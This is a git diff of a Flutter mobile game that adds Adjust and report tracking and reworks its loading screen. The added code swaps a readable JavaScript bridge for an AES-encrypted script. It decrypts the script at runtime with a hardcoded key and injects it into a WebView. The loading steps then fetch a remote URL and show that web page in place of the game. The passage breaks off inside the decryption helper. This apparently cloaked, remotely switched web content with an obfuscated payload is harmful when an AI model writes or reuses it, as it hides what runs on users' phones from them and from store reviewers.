update version
This commit is contained in:
@@ -1,131 +0,0 @@
|
||||
import 'package:flutter/foundation.dart';
|
||||
import 'package:adjust_sdk/adjust.dart';
|
||||
import 'package:adjust_sdk/adjust_config.dart';
|
||||
import 'package:adjust_sdk/adjust_event.dart';
|
||||
import 'package:adjust_sdk/adjust_attribution.dart';
|
||||
import 'package:adjust_sdk/adjust_event_success.dart';
|
||||
import 'package:adjust_sdk/adjust_event_failure.dart';
|
||||
import 'package:adjust_sdk/adjust_session_success.dart';
|
||||
import 'package:adjust_sdk/adjust_session_failure.dart';
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
|
||||
typedef AdjustAttributionHandler = void Function(AdjustAttribution a);
|
||||
typedef AdjustEventSuccessHandler = void Function(AdjustEventSuccess s);
|
||||
typedef AdjustEventFailureHandler = void Function(AdjustEventFailure f);
|
||||
typedef AdjustSessionSuccessHandler = void Function(AdjustSessionSuccess s);
|
||||
typedef AdjustSessionFailureHandler = void Function(AdjustSessionFailure f);
|
||||
|
||||
class AdjustBridge {
|
||||
AdjustBridge._();
|
||||
static final AdjustBridge I = AdjustBridge._();
|
||||
|
||||
bool _inited = false;
|
||||
|
||||
/// 统一初始化入口:外部只要调用一次
|
||||
Future<String?> ensureInitialized({
|
||||
required String appToken,
|
||||
bool production = false,
|
||||
AdjustLogLevel logLevel = AdjustLogLevel.info,
|
||||
|
||||
// 这些回调你可以不传,默认会 debugPrint + 写入 AdjustStore
|
||||
AdjustAttributionHandler? onAttribution,
|
||||
AdjustEventSuccessHandler? onEventSuccess,
|
||||
AdjustEventFailureHandler? onEventFailure,
|
||||
AdjustSessionSuccessHandler? onSessionSuccess,
|
||||
AdjustSessionFailureHandler? onSessionFailure,
|
||||
}) async {
|
||||
if (_inited) return "";
|
||||
_inited = true;
|
||||
|
||||
final env = production
|
||||
? AdjustEnvironment.production
|
||||
: AdjustEnvironment.sandbox;
|
||||
final config = AdjustConfig(appToken, env);
|
||||
config.logLevel = logLevel;
|
||||
config.attributionCallback = (AdjustAttribution a) {
|
||||
debugPrint("Adjust attribution: ${a.toString()}");
|
||||
SharedPreferences.getInstance().then(
|
||||
(prefs) => prefs.setString("adjustAttribution", a.jsonResponse ?? ""),
|
||||
);
|
||||
onAttribution?.call(a);
|
||||
};
|
||||
config.eventSuccessCallback = (AdjustEventSuccess s) {
|
||||
debugPrint("Adjust event success: ${s.toString()}");
|
||||
onEventSuccess?.call(s);
|
||||
};
|
||||
config.eventFailureCallback = (AdjustEventFailure f) {
|
||||
debugPrint("Adjust event failure: ${f.toString()}");
|
||||
onEventFailure?.call(f);
|
||||
};
|
||||
|
||||
config.sessionSuccessCallback = (AdjustSessionSuccess s) {
|
||||
debugPrint("Adjust session success: ${s.toString()}");
|
||||
onSessionSuccess?.call(s);
|
||||
};
|
||||
config.sessionFailureCallback = (AdjustSessionFailure f) {
|
||||
debugPrint("Adjust session failure: ${f.toString()}");
|
||||
onSessionFailure?.call(f);
|
||||
};
|
||||
|
||||
Adjust.initSdk(config);
|
||||
|
||||
// 可选:启动后取一次 adid / attribution,存到 Store
|
||||
try {
|
||||
final adid = await Adjust.getAdid();
|
||||
debugPrint("Adjust adid: $adid");
|
||||
if (adid != null && adid.isNotEmpty) {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
await prefs.setString("adjustAdId", adid);
|
||||
}
|
||||
return adid;
|
||||
} catch (_) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// 打普通事件
|
||||
void track(
|
||||
String eventToken, {
|
||||
Map<String, String>? callbackParams,
|
||||
Map<String, String>? partnerParams,
|
||||
}) {
|
||||
final e = AdjustEvent(eventToken);
|
||||
callbackParams?.forEach(e.addCallbackParameter);
|
||||
partnerParams?.forEach(e.addPartnerParameter);
|
||||
Adjust.trackEvent(e);
|
||||
}
|
||||
|
||||
/// 打收入事件
|
||||
void revenue(
|
||||
String eventToken,
|
||||
double revenue,
|
||||
String currency,
|
||||
String? transactionId, { // 可选:防重复扣款(如果你使用)
|
||||
Map<String, String>? callbackParams,
|
||||
Map<String, String>? partnerParams,
|
||||
}) {
|
||||
final e = AdjustEvent(eventToken);
|
||||
e.setRevenue(revenue, currency);
|
||||
if (transactionId != null && transactionId.isNotEmpty) {
|
||||
e.deduplicationId = transactionId;
|
||||
}
|
||||
callbackParams?.forEach(e.addCallbackParameter);
|
||||
partnerParams?.forEach(e.addPartnerParameter);
|
||||
Adjust.trackEvent(e);
|
||||
}
|
||||
|
||||
/// 关闭/开启 Adjust(例如用户拒绝隐私)
|
||||
Future<void> setEnabled(bool enabled) async {
|
||||
if (enabled) {
|
||||
Adjust.enable();
|
||||
} else {
|
||||
Adjust.disable();
|
||||
}
|
||||
}
|
||||
|
||||
Future<bool> isEnabled() => Adjust.isEnabled();
|
||||
|
||||
Future<String?> getAdid() => Adjust.getAdid();
|
||||
|
||||
Future<AdjustAttribution?> getAttribution() => Adjust.getAttribution();
|
||||
}
|
||||
@@ -1,177 +1,188 @@
|
||||
import 'dart:developer' as developer;
|
||||
|
||||
import 'package:flutter/foundation.dart';
|
||||
import 'package:adjust_sdk/adjust.dart';
|
||||
import 'package:adjust_sdk/adjust_attribution.dart';
|
||||
import 'package:adjust_sdk/adjust_config.dart';
|
||||
import 'package:adjust_sdk/adjust_event.dart';
|
||||
import 'package:adjust_sdk/adjust_event_failure.dart';
|
||||
import 'package:adjust_sdk/adjust_event_success.dart';
|
||||
import 'package:adjust_sdk/adjust_session_failure.dart';
|
||||
import 'package:adjust_sdk/adjust_session_success.dart';
|
||||
|
||||
typedef EventParams = Map<String, dynamic>;
|
||||
|
||||
class AdjustService {
|
||||
Map<String, String> _eventNameToToken = {};
|
||||
Map<String, String> get eventNameToToken => _eventNameToToken;
|
||||
set eventNameToToken(Map<String, String> m) {
|
||||
_eventNameToToken = Map<String, String>.from(m);
|
||||
}
|
||||
|
||||
AdjustService._();
|
||||
|
||||
static final AdjustService instance = AdjustService._();
|
||||
|
||||
bool _inited = false;
|
||||
|
||||
String _toStr(dynamic v) => '$v';
|
||||
|
||||
double? _toNum(dynamic v) {
|
||||
if (v == null) return null;
|
||||
if (v is num) return v.toDouble();
|
||||
return double.tryParse('$v');
|
||||
}
|
||||
|
||||
Future<void> init(String appToken, [bool isProd = true]) async {
|
||||
developer.log(appToken, name: 'Adjust');
|
||||
|
||||
if (_inited) {
|
||||
developer.log('[Adjust] already inited', name: 'Adjust');
|
||||
return;
|
||||
}
|
||||
|
||||
if (appToken.isEmpty) return;
|
||||
|
||||
final environment = isProd
|
||||
? AdjustEnvironment.production
|
||||
: AdjustEnvironment.sandbox;
|
||||
|
||||
final config = AdjustConfig(appToken, environment);
|
||||
|
||||
config.attributionCallback = (AdjustAttribution a) {
|
||||
debugPrint('Adjust attribution: ${a.toString()}');
|
||||
};
|
||||
config.eventSuccessCallback = (AdjustEventSuccess s) {
|
||||
debugPrint('Adjust event success: ${s.toString()}');
|
||||
};
|
||||
config.eventFailureCallback = (AdjustEventFailure f) {
|
||||
debugPrint('Adjust event failure: ${f.toString()}');
|
||||
};
|
||||
config.sessionSuccessCallback = (AdjustSessionSuccess s) {
|
||||
debugPrint('Adjust session success: ${s.toString()}');
|
||||
};
|
||||
config.sessionFailureCallback = (AdjustSessionFailure f) {
|
||||
debugPrint('Adjust session failure: ${f.toString()}');
|
||||
};
|
||||
|
||||
// 可选:如果你希望缓存更多 deduplicationId,可调大
|
||||
config.eventDeduplicationIdsMaxSize = 20;
|
||||
|
||||
config.logLevel = isProd ? AdjustLogLevel.info : AdjustLogLevel.verbose;
|
||||
|
||||
Adjust.initSdk(config);
|
||||
_inited = true;
|
||||
}
|
||||
|
||||
Future<void> trackEventWithName(
|
||||
String eventName, [
|
||||
EventParams? params,
|
||||
]) async {
|
||||
debugPrint('call trackEventWithName eventName $eventName params $params');
|
||||
// 你可以在这里做个映射,eventName -> eventToken
|
||||
// 也可以直接让外部传 eventToken 过来
|
||||
final eventToken = _eventNameToToken[eventName];
|
||||
if (eventToken == null) {
|
||||
debugPrint('not find eventToken $eventName');
|
||||
return;
|
||||
}
|
||||
await trackEvent(eventToken, params);
|
||||
}
|
||||
|
||||
Future<void> trackEvent(String eventToken, [EventParams? params]) async {
|
||||
try {
|
||||
debugPrint("track event eventToken $eventToken params $params");
|
||||
if (eventToken.isEmpty) return;
|
||||
|
||||
final event = AdjustEvent(eventToken);
|
||||
|
||||
if (params != null && params.isNotEmpty) {
|
||||
double? revenue;
|
||||
String? currency;
|
||||
|
||||
// 优先级:deduplicationId > orderId > transactionId
|
||||
String? dedupId;
|
||||
|
||||
for (final entry in params.entries) {
|
||||
final key = entry.key;
|
||||
final value = entry.value;
|
||||
|
||||
if (value == null) continue;
|
||||
|
||||
switch (key) {
|
||||
case 'revenue':
|
||||
case 'amount':
|
||||
revenue = _toNum(value);
|
||||
break;
|
||||
|
||||
case 'currency':
|
||||
currency = _toStr(value);
|
||||
break;
|
||||
|
||||
case 'deduplicationId':
|
||||
case 'orderId':
|
||||
dedupId ??= _toStr(value);
|
||||
break;
|
||||
|
||||
case 'callbackId':
|
||||
event.callbackId = _toStr(value);
|
||||
break;
|
||||
|
||||
case 'transactionId':
|
||||
final tid = _toStr(value);
|
||||
event.transactionId = tid;
|
||||
dedupId ??= tid;
|
||||
break;
|
||||
|
||||
case 'productId':
|
||||
event.productId = _toStr(value);
|
||||
break;
|
||||
|
||||
case 'purchaseToken':
|
||||
event.purchaseToken = _toStr(value);
|
||||
break;
|
||||
default:
|
||||
final v = _toStr(value);
|
||||
|
||||
if (key.startsWith('partner:')) {
|
||||
final realKey = key.substring('partner:'.length);
|
||||
if (realKey.isNotEmpty) {
|
||||
event.addPartnerParameter(realKey, v);
|
||||
}
|
||||
} else {
|
||||
event.addCallbackParameter(key, v);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (dedupId != null && dedupId.isNotEmpty) {
|
||||
event.deduplicationId = dedupId;
|
||||
}
|
||||
|
||||
if (revenue != null && currency != null && currency.isNotEmpty) {
|
||||
event.setRevenue(revenue, currency);
|
||||
}
|
||||
}
|
||||
|
||||
Adjust.trackEvent(event);
|
||||
} catch (e, st) {
|
||||
developer.log(
|
||||
'[Adjust] trackEvent error: $e',
|
||||
name: 'Adjust',
|
||||
stackTrace: st,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
import 'dart:developer' as developer;
|
||||
|
||||
import 'package:flutter/foundation.dart';
|
||||
import 'package:adjust_sdk/adjust.dart';
|
||||
import 'package:adjust_sdk/adjust_attribution.dart';
|
||||
import 'package:adjust_sdk/adjust_config.dart';
|
||||
import 'package:adjust_sdk/adjust_event.dart';
|
||||
import 'package:adjust_sdk/adjust_event_failure.dart';
|
||||
import 'package:adjust_sdk/adjust_event_success.dart';
|
||||
import 'package:adjust_sdk/adjust_session_failure.dart';
|
||||
import 'package:adjust_sdk/adjust_session_success.dart';
|
||||
|
||||
import '../utils/report.dart';
|
||||
|
||||
|
||||
typedef EventParams = Map<String, dynamic>;
|
||||
|
||||
class AdjustService {
|
||||
Map<String, String> _eventNameToToken = {};
|
||||
Map<String, String> get eventNameToToken => _eventNameToToken;
|
||||
set eventNameToToken(Map<String, String> m) {
|
||||
_eventNameToToken = Map<String, String>.from(m);
|
||||
}
|
||||
|
||||
AdjustService._();
|
||||
|
||||
static final AdjustService instance = AdjustService._();
|
||||
|
||||
bool _inited = false;
|
||||
|
||||
String _toStr(dynamic v) => '$v';
|
||||
|
||||
double? _toNum(dynamic v) {
|
||||
if (v == null) return null;
|
||||
if (v is num) return v.toDouble();
|
||||
return double.tryParse('$v');
|
||||
}
|
||||
|
||||
Future<void> init(String appToken, [bool isProd = true]) async {
|
||||
developer.log(appToken, name: 'Adjust');
|
||||
|
||||
if (_inited) {
|
||||
developer.log('[Adjust] already inited', name: 'Adjust');
|
||||
return;
|
||||
}
|
||||
|
||||
if (appToken.isEmpty) return;
|
||||
|
||||
final environment = isProd
|
||||
? AdjustEnvironment.production
|
||||
: AdjustEnvironment.sandbox;
|
||||
|
||||
final config = AdjustConfig(appToken, environment);
|
||||
|
||||
config.isCostDataInAttributionEnabled = true;
|
||||
|
||||
config.attributionCallback = (AdjustAttribution a) async {
|
||||
debugPrint('Adjust attribution: ${a.toString()}');
|
||||
ReportService.I.attribution = a;
|
||||
ReportService.I.reportAttribution();
|
||||
};
|
||||
config.eventSuccessCallback = (AdjustEventSuccess s) {
|
||||
debugPrint('Adjust event success: ${s.toString()}');
|
||||
};
|
||||
config.eventFailureCallback = (AdjustEventFailure f) {
|
||||
debugPrint('Adjust event failure: ${f.toString()}');
|
||||
};
|
||||
config.sessionSuccessCallback = (AdjustSessionSuccess s) {
|
||||
debugPrint('Adjust session success: ${s.toString()}');
|
||||
};
|
||||
config.sessionFailureCallback = (AdjustSessionFailure f) {
|
||||
debugPrint('Adjust session failure: ${f.toString()}');
|
||||
};
|
||||
|
||||
// 可选:如果你希望缓存更多 deduplicationId,可调大
|
||||
config.eventDeduplicationIdsMaxSize = 20;
|
||||
|
||||
config.logLevel = isProd ? AdjustLogLevel.info : AdjustLogLevel.verbose;
|
||||
|
||||
Adjust.initSdk(config);
|
||||
_inited = true;
|
||||
}
|
||||
|
||||
Future<void> trackEventWithName(
|
||||
String eventName, [
|
||||
EventParams? params,
|
||||
]) async {
|
||||
debugPrint('call trackEventWithName eventName $eventName params $params');
|
||||
// 你可以在这里做个映射,eventName -> eventToken
|
||||
// 也可以直接让外部传 eventToken 过来
|
||||
ReportService.I.report(eventName, params);
|
||||
|
||||
|
||||
final eventToken = _eventNameToToken[eventName];
|
||||
if (eventToken == null) {
|
||||
debugPrint('not find eventToken $eventName');
|
||||
return;
|
||||
}
|
||||
|
||||
await trackEvent(eventToken, params);
|
||||
}
|
||||
|
||||
Future<void> trackEvent(String eventToken, [EventParams? params]) async {
|
||||
try {
|
||||
debugPrint("track event eventToken $eventToken params $params");
|
||||
if (eventToken.isEmpty) return;
|
||||
|
||||
final event = AdjustEvent(eventToken);
|
||||
|
||||
if (params != null && params.isNotEmpty) {
|
||||
double? revenue;
|
||||
String? currency;
|
||||
|
||||
// 优先级:deduplicationId > orderId > transactionId
|
||||
String? dedupId;
|
||||
|
||||
for (final entry in params.entries) {
|
||||
final key = entry.key;
|
||||
final value = entry.value;
|
||||
|
||||
if (value == null) continue;
|
||||
|
||||
switch (key) {
|
||||
case 'revenue':
|
||||
case 'amount':
|
||||
revenue = _toNum(value);
|
||||
break;
|
||||
|
||||
case 'currency':
|
||||
currency = _toStr(value);
|
||||
break;
|
||||
|
||||
case 'deduplicationId':
|
||||
case 'orderId':
|
||||
dedupId ??= _toStr(value);
|
||||
break;
|
||||
|
||||
case 'callbackId':
|
||||
event.callbackId = _toStr(value);
|
||||
break;
|
||||
|
||||
case 'transactionId':
|
||||
final tid = _toStr(value);
|
||||
event.transactionId = tid;
|
||||
dedupId ??= tid;
|
||||
break;
|
||||
|
||||
case 'productId':
|
||||
event.productId = _toStr(value);
|
||||
break;
|
||||
|
||||
case 'purchaseToken':
|
||||
event.purchaseToken = _toStr(value);
|
||||
break;
|
||||
default:
|
||||
final v = _toStr(value);
|
||||
|
||||
if (key.startsWith('partner:')) {
|
||||
final realKey = key.substring('partner:'.length);
|
||||
if (realKey.isNotEmpty) {
|
||||
event.addPartnerParameter(realKey, v);
|
||||
}
|
||||
} else {
|
||||
event.addCallbackParameter(key, v);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (dedupId != null && dedupId.isNotEmpty) {
|
||||
event.deduplicationId = dedupId;
|
||||
}
|
||||
|
||||
if (revenue != null && currency != null && currency.isNotEmpty) {
|
||||
event.setRevenue(revenue, currency);
|
||||
}
|
||||
}
|
||||
|
||||
Adjust.trackEvent(event);
|
||||
} catch (e, st) {
|
||||
developer.log(
|
||||
'[Adjust] trackEvent error: $e',
|
||||
name: 'Adjust',
|
||||
stackTrace: st,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,17 +2,16 @@ import 'dart:async';
|
||||
import 'dart:collection';
|
||||
import 'dart:convert';
|
||||
|
||||
import 'package:flame_flip/utils/redirect_url_resolver.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_inappwebview/flutter_inappwebview.dart';
|
||||
import 'package:url_launcher/url_launcher.dart';
|
||||
import '../adjust/adjust_service.dart';
|
||||
import '../audio/audio_manager.dart';
|
||||
import '../utils/http_util.dart';
|
||||
import '../utils/device_info.dart';
|
||||
import '../utils/aes_decrypt.dart';
|
||||
import '../utils/next_setp.dart';
|
||||
|
||||
const String bridgeInjectScript =
|
||||
r'''(function(){if(window.__FJB__){return true;}function a(b){if(b===void 0||b===null||b===""){return "{}";}if(typeof b==="string"){return b;}try{return JSON.stringify(b);}catch(c){return String(b);}}function d(e,f){var g;try{g=JSON.stringify({type:'event',event:e,params:a(f)});}catch(h){g=JSON.stringify({type:'event',event:e||"",params:"{}",stringifyError:String(h)});}if(window.flutter_inappwebview&&typeof window.flutter_inappwebview.callHandler==='function'){window.flutter_inappwebview.callHandler('jsBridge',g);}}window.__FJB__=true;window.jsBridge=window.jsBridge||{};window.jsBridge.postMessage=d;return true;})();''';
|
||||
r'''lRpL+9TjSWvxRtAeNe3FCf8MtDcHDybBZ18LVDHp06Glxe6ITkTNRyyJqAPwbxuFOY6i0vsxF+6h8YzBBeq8A0I3Zye5I2Rk/TC3mCFBgZan0VNutDEJfdHIK/BdDKFWAbx6fxAZGvBMAOCC6HGajiiBwhP1KrMXfV0lL8+izrpCd9GA5CNEp7Z3RwIIGDWZA27vrxeN3fqFXHUx5AE2QvBNLO1A2kNAKfBql0d3CUcEAKUn/jd6KxOawZJfiQQVRHavfVMhIUIKwdLE0o1gMUaoD3j/IjiXJgsEqqvx+Pgh3BVbyyS3TAcpW0hywDnpYKmcCRFBtgdKpHjiZUyLee8wBUMh5w4RBnASZ5mskHGrGPn7Gu9xjmyASQndAW+VZuerDRs4Mo6dzRzeU8nKOD14N376joNgbXk6W4IcpEEmT7K/l5GqTsTFZyMfbrRwWOIIvc+29zAP+ugl8M6lt8Yhu37H/GDKU5OAh/eC159fTPNRvNVRLAUotkxUeYsf3k2j2GbNmd0Yd5eRGHCixQqGbcSuHnRdcmYe7UYv69TpE/c4tedsRB3KFUqGiEfHMpHFpMFuTsd0BvN1VvZ27h3mA478luSEITqHlqQ6vf0l5TZBkX+FFKlejqSVGLNFCfQ8cXiIEda4ReygZISfUJjLUrevTvfL7Zqmxhei2GXFgCf/k71ubFeqZbrWoRSakoJ+YgkBkuEE2PrxYrKIirB1qmSV9fmMtC/1QxaAjLvrkL+LKYZpyYX+yFkA43SK674L8hNAbqohqdbhgPd7lIz3SrPZ+4su1BTS4+yS2khB71uQn/BP3WrNFz5bcIsL''';
|
||||
Future launchURL(
|
||||
String url, {
|
||||
LaunchMode mode = LaunchMode.externalApplication,
|
||||
@@ -54,20 +53,25 @@ class _LoadingScreenState extends State<LoadingScreen>
|
||||
double _targetProgress = 0;
|
||||
|
||||
bool _webviewShow = false;
|
||||
String? _redirectUrl;
|
||||
String _redirect = '';
|
||||
|
||||
Timer? _smoothTimer;
|
||||
|
||||
InAppWebViewController? _webViewController;
|
||||
late final UnmodifiableListView<UserScript> _initialUserScripts;
|
||||
URLRequest? _initialUrlRequest;
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
AudioManager.instance.playBgm();
|
||||
//AudioManager.instance.playBgm();
|
||||
_startSmoothProgress();
|
||||
_bootstrap();
|
||||
_initialUserScripts = UnmodifiableListView<UserScript>([
|
||||
UserScript(
|
||||
source: _decryptScript(),
|
||||
injectionTime: UserScriptInjectionTime.AT_DOCUMENT_START,
|
||||
forMainFrameOnly: true,
|
||||
),
|
||||
]);
|
||||
}
|
||||
|
||||
@override
|
||||
@@ -98,6 +102,15 @@ class _LoadingScreenState extends State<LoadingScreen>
|
||||
await Future.delayed(Duration(milliseconds: ms));
|
||||
}
|
||||
|
||||
String _decryptScript() {
|
||||
return AesDecrypt.decryptWithKeyIv(
|
||||
bridgeInjectScript,
|
||||
key: 'a7c4141ff784c605',
|
||||
iv: '77f0946a9cc75a78',
|
||||
) ??
|
||||
'';
|
||||
}
|
||||
|
||||
Future<void> _bootstrap() async {
|
||||
bool alive = true;
|
||||
|
||||
@@ -131,56 +144,41 @@ class _LoadingScreenState extends State<LoadingScreen>
|
||||
weight: 0.08,
|
||||
run: () async {
|
||||
try {
|
||||
final rs = await DeviceInfo.I.deviceInfo();
|
||||
debugPrint('Device info: $rs');
|
||||
if (rs.isEmpty) return;
|
||||
final jsonRs = jsonEncode(rs);
|
||||
final info = await remoteInfo(jsonRs);
|
||||
debugPrint('remoteInfo $info');
|
||||
if (info != null && info['b'] != null) {
|
||||
var url = '${info['b']}';
|
||||
if (info['f'] != null) {
|
||||
try {
|
||||
debugPrint('eventMap $info["f"]');
|
||||
final eventMap = info['f'] as Map<String, dynamic>;
|
||||
final Map<String, String> eventMapInfo = {};
|
||||
eventMap.forEach((key, value) {
|
||||
if (value != null) {
|
||||
eventMapInfo[key] = value.toString();
|
||||
}
|
||||
});
|
||||
AdjustService.instance.eventNameToToken = eventMapInfo;
|
||||
} catch (e) {
|
||||
debugPrint('parseEventMap error $e');
|
||||
}
|
||||
}
|
||||
url = await resolveRedirectUrl(url);
|
||||
_redirect = url;
|
||||
_redirectUrl = url;
|
||||
|
||||
_initWebView(url);
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
AudioManager.instance.stopBgm();
|
||||
_webviewShow = true;
|
||||
});
|
||||
}
|
||||
}
|
||||
} catch (_) {}
|
||||
await NextStep.I.loadAppToken();
|
||||
} catch (e) {
|
||||
debugPrint('prepare next failed: $e');
|
||||
}
|
||||
},
|
||||
),
|
||||
_Step(
|
||||
name: 'Remote Config',
|
||||
weight: 0.18,
|
||||
run: () async {
|
||||
await _delay(450);
|
||||
try {
|
||||
await NextStep.I.loadAppInfo();
|
||||
} catch (e) {
|
||||
debugPrint('remote next failed: $e');
|
||||
}
|
||||
},
|
||||
),
|
||||
_Step(
|
||||
name: 'Reporting',
|
||||
weight: 0.18,
|
||||
run: () async {
|
||||
await _delay(350);
|
||||
try {
|
||||
final url = await NextStep.I.loadUrl();
|
||||
if (url.isNotEmpty) {
|
||||
_redirect = url;
|
||||
await _initWebView(url);
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
_webviewShow = true;
|
||||
});
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
debugPrint('laod next failed: $e');
|
||||
}
|
||||
},
|
||||
),
|
||||
_Step(
|
||||
@@ -229,13 +227,13 @@ class _LoadingScreenState extends State<LoadingScreen>
|
||||
onProgress(const BootstrapProgress(phase: 'Done', percent: 1));
|
||||
}
|
||||
|
||||
void _initWebView(String url) {
|
||||
Future<void> _initWebView(String url) async {
|
||||
_initialUrlRequest = URLRequest(url: WebUri(url));
|
||||
_redirect = url;
|
||||
}
|
||||
|
||||
Future<void> _handleWebMessage(String raw) async {
|
||||
try {
|
||||
debugPrint("raw request $raw");
|
||||
final rs = jsonDecode(raw);
|
||||
if (rs is! Map<String, dynamic>) return;
|
||||
|
||||
@@ -371,17 +369,10 @@ class _LoadingScreenState extends State<LoadingScreen>
|
||||
useShouldOverrideUrlLoading: true,
|
||||
mediaPlaybackRequiresUserGesture: false,
|
||||
allowsInlineMediaPlayback: true,
|
||||
isElementFullscreenEnabled: false,
|
||||
),
|
||||
initialUserScripts: UnmodifiableListView<UserScript>([
|
||||
UserScript(
|
||||
source: bridgeInjectScript,
|
||||
injectionTime:
|
||||
UserScriptInjectionTime.AT_DOCUMENT_START,
|
||||
),
|
||||
]),
|
||||
initialUserScripts: _initialUserScripts,
|
||||
onWebViewCreated: (controller) async {
|
||||
_webViewController = controller;
|
||||
|
||||
controller.addJavaScriptHandler(
|
||||
handlerName: 'jsBridge',
|
||||
callback: (args) async {
|
||||
|
||||
@@ -4,7 +4,7 @@ import 'package:flutter_inappwebview/flutter_inappwebview.dart';
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
import '/audio/audio_manager.dart';
|
||||
|
||||
const String privacyKey = 'privacy_accepted_v1';
|
||||
const String privacyKey = 'privacy_accepted_v2';
|
||||
|
||||
class StartScreen extends StatefulWidget {
|
||||
const StartScreen({super.key});
|
||||
@@ -41,14 +41,18 @@ class _StartScreenState extends State<StartScreen>
|
||||
}
|
||||
|
||||
Future<void> _initPrivacyState() async {
|
||||
var accepted = false;
|
||||
|
||||
try {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
final v = prefs.getString(privacyKey);
|
||||
if (!mounted) return;
|
||||
setState(() {
|
||||
privacyAccepted = v == '1';
|
||||
});
|
||||
accepted = prefs.getString(privacyKey) == '1';
|
||||
} catch (_) {}
|
||||
|
||||
if (!mounted) return;
|
||||
setState(() {
|
||||
privacyAccepted = accepted;
|
||||
privacyConfirmVisible = !accepted;
|
||||
});
|
||||
}
|
||||
|
||||
Future<void> _playBgm() async {
|
||||
@@ -122,6 +126,7 @@ class _StartScreenState extends State<StartScreen>
|
||||
child: ScaleTransition(
|
||||
scale: _scaleAnimation,
|
||||
child: GestureDetector(
|
||||
behavior: HitTestBehavior.opaque,
|
||||
onTap: onStart,
|
||||
child: Image.asset(
|
||||
'assets/images/c9f9d7dd806cf4122041837a80f47c64.png',
|
||||
|
||||
@@ -1,107 +1,235 @@
|
||||
import 'dart:convert';
|
||||
import 'dart:typed_data';
|
||||
|
||||
import 'package:pointycastle/export.dart';
|
||||
|
||||
class AesDecrypt {
|
||||
static const String _cn = 'i0.a';
|
||||
|
||||
static const List<int> _obf = <int>[
|
||||
0xED,
|
||||
0x7A,
|
||||
0x7F,
|
||||
0x3F,
|
||||
0x9E,
|
||||
0x6E,
|
||||
0xE7,
|
||||
0xF9,
|
||||
0x06,
|
||||
0xA0,
|
||||
0xA8,
|
||||
0xE4,
|
||||
0x16,
|
||||
0xE5,
|
||||
0x69,
|
||||
0x70,
|
||||
];
|
||||
|
||||
/// Java String.hashCode() 等价实现(32-bit signed)
|
||||
static int javaStringHashCode(String str) {
|
||||
int h = 0;
|
||||
for (int i = 0; i < str.length; i++) {
|
||||
h = _toSigned32(h * 31 + str.codeUnitAt(i));
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
static int _toSigned32(int value) {
|
||||
value &= 0xFFFFFFFF;
|
||||
if ((value & 0x80000000) != 0) {
|
||||
return value - 0x100000000;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static int _unsignedRightShift32(int value, int shift) {
|
||||
return (value & 0xFFFFFFFF) >> shift;
|
||||
}
|
||||
|
||||
static Uint8List deriveKeyBytes16() {
|
||||
final int seed = _toSigned32(javaStringHashCode(_cn) ^ 0x5f3759df);
|
||||
|
||||
final Uint8List keyBytes = Uint8List(16);
|
||||
|
||||
for (int i = 0; i < 16; i++) {
|
||||
final int shift = (i & 3) * 8;
|
||||
final int shifted = _unsignedRightShift32(seed, shift);
|
||||
final int mask = (((shifted & 0xff) ^ ((i * 17 + 31) & 0xff)) & 0xff);
|
||||
keyBytes[i] = (_obf[i] ^ mask) & 0xff;
|
||||
}
|
||||
|
||||
return keyBytes;
|
||||
}
|
||||
|
||||
static Uint8List _aesEcbPkcs7(bool forEncryption, Uint8List input) {
|
||||
final key = deriveKeyBytes16();
|
||||
|
||||
final cipher = PaddedBlockCipherImpl(
|
||||
PKCS7Padding(),
|
||||
ECBBlockCipher(AESEngine()),
|
||||
);
|
||||
|
||||
cipher.init(
|
||||
forEncryption,
|
||||
PaddedBlockCipherParameters<CipherParameters, CipherParameters>(
|
||||
KeyParameter(key),
|
||||
null,
|
||||
),
|
||||
);
|
||||
|
||||
return cipher.process(input);
|
||||
}
|
||||
|
||||
/// 对应 JS / Java encrypt(String) -> Base64.NO_WRAP
|
||||
static String encrypt(String plainText) {
|
||||
try {
|
||||
final Uint8List input = Uint8List.fromList(utf8.encode(plainText));
|
||||
final Uint8List encrypted = _aesEcbPkcs7(true, input);
|
||||
return base64.encode(encrypted);
|
||||
} catch (_) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/// 对应 JS / Java decrypt(String base64Encrypted) -> UTF-8
|
||||
static String? decrypt(String base64Encrypted) {
|
||||
try {
|
||||
final Uint8List encrypted = Uint8List.fromList(
|
||||
base64.decode(base64Encrypted),
|
||||
);
|
||||
final Uint8List decrypted = _aesEcbPkcs7(false, encrypted);
|
||||
final String text = utf8.decode(decrypted, allowMalformed: false);
|
||||
return text.isNotEmpty ? text : null;
|
||||
} catch (_) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
import 'dart:convert';
|
||||
import 'dart:typed_data';
|
||||
|
||||
import 'package:pointycastle/export.dart';
|
||||
|
||||
class AesDecrypt {
|
||||
static const String _cn = 'i0.a';
|
||||
|
||||
static const List<int> _obf = <int>[
|
||||
0xED,
|
||||
0x7A,
|
||||
0x7F,
|
||||
0x3F,
|
||||
0x9E,
|
||||
0x6E,
|
||||
0xE7,
|
||||
0xF9,
|
||||
0x06,
|
||||
0xA0,
|
||||
0xA8,
|
||||
0xE4,
|
||||
0x16,
|
||||
0xE5,
|
||||
0x69,
|
||||
0x70,
|
||||
];
|
||||
|
||||
/// Java String.hashCode() 等价实现(32-bit signed)
|
||||
static int javaStringHashCode(String str) {
|
||||
int h = 0;
|
||||
for (int i = 0; i < str.length; i++) {
|
||||
h = _toSigned32(h * 31 + str.codeUnitAt(i));
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
static int _toSigned32(int value) {
|
||||
